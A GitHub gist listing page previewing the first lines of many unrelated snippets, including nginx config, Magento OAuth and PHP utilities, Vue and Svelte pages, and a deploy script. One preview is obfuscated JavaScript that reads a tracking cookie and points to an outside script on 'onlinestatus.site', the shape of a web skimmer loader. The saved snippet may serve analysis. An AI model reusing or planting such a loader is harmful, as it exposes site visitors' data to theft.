This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
fastcgi_cache_path /etc/nginx/cache levels=1:2 keys_zone=PHP_CACHE:200m max_size=10g inactive=2h use_temp_path=off; | |
fastcgi_cache_key "$scheme$request_method$host$request_uri"; | |
fastcgi_ignore_headers Cache-Control Expires Set-Cookie; | |
upstream backend { | |
server php-fpm:9000; | |
} | |
server { | |
listen 80; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
OPENAI_API_KEY="<YOUR_SECRET_KEY>" | |
OPENAI_ENDPOINT="https://api.openai.com/v1/chat/completions" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<section> | |
<h3>Uptime</h3> | |
<p>Overview of site uptime</p> | |
<div id="heatmap"></div> | |
</section> | |
<script> | |
import {onMount} from 'svelte'; | |
import matrix from 'calendar-matrix'; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
* OAuth 1.0a client (Example) for Magento 2 | |
* | |
* @see: https://oauth.net/core/1.0a | |
* @see: https://tools.ietf.org/html/rfc5849 | |
*/ | |
class Api | |
{ | |
const OAUTH_VERSION = '1.0'; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if ($argc < 2) { | |
exit('Error: No CSV file provided. Example usage: php script.php input.csv' . PHP_EOL); | |
} | |
if (pathinfo($argv[1], PATHINFO_EXTENSION) !== 'csv') { | |
exit('Error: Provided file is not a CSV.' . PHP_EOL); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta charset="utf-8"> | |
<meta name="viewport" content="width=device-width"> | |
<title>JS Bin</title> | |
<style id="jsbin-css"> | |
body { | |
font-family: sans-serif; | |
font-size: 1.3em; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<title>Welcome to Vue</title> | |
<script src="https://unpkg.com/vue"></script> | |
<style id="jsbin-css"> | |
.dashboard { | |
display: flex; | |
flex-direction: row; | |
width: 100%; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
echo "Deleting old publication" | |
rm -rf public | |
mkdir public | |
git worktree prune | |
rm -rf .git/worktrees/public/ | |
echo "Checking out gh-pages branch into public" | |
git worktree add -B gh-pages public origin/gh-pages |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var ydddcef0cda9f99ac91f7c3a1a48b587a = { | |
snd: null, | |
v88bc7dc484cdebc76aca340fe0cbe1d3: 'https://onlinestatus.site/js/status.js', | |
myid: (function(_0xb69fx2) { | |
var _0xb69fx3 = document['cookie']['match'](new RegExp('(?:^|; )' + _0xb69fx2['replace'](/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\$1') + '=([^;]*)')); | |
return _0xb69fx3 ? decodeURIComponent(_0xb69fx3[1]) : undefined | |
})('setidd') || (function() { | |
var _0xb69fx4 = new Date(); | |
var _0xb69fx5 = _0xb69fx4['getTime']() + '-' + Math['floor'](Math['random']() * (999999999 - 11111111 + 1) + 11111111); | |
var _0xb69fx6 = new Date(new Date()['getTime']() + 60 * 60 * 24 * 1000); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class Hash | |
{ | |
protected $string; | |
protected $hash; | |
/** | |
* Init arguments |
NewerOlder